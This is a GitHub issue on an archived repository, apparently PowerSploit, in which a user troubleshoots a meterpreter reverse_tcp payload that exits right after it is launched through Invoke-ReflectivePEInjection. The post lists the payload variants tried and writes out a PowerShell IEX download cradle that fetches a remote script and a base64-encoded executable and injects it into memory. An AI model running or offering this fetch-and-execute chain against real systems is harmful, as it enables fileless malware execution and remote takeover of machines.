Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Invoke-ReflectivePEInjection with meterpreter exe payload quits powershell #362

Description

@austinbentlee

Hello --

I have been using the patched version of Invoke-ReflectivePEInjection (available here) and I can successfully run calc.exe just fine.

However, if I try a meterpreter payload, meterpreter will successfully connect to msfconsole for a split second before the powershell task exits.

So far I have tried:
Inject into something like explorer -- not possible as meterpreter as it is not compiled with ASLR.
Changing the EXITFUNC to meterpreter
Using windows/x64/meterpreter/reverse_tcp (Reflective Injection x64)
Using windows/x64/meterpreter_reverse_tcp (regular -- inline reverse tcp x64)

Here are the commands I am using:

IEX ((New-Object System.Net.WebClient).DownloadString("http://192.168.56.102:4444/Invoke-ReflectivePEInjection.ps1"))

$based = ((New-Object System.Net.WebClient).DownloadString("http://192.168.56.102:4545/b64.exe"))

$PEBytes = [System.Convert]::FromBase64String($based)

Invoke-ReflectivePEInjection -ForceASLR -PEBytes $PEBytes

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions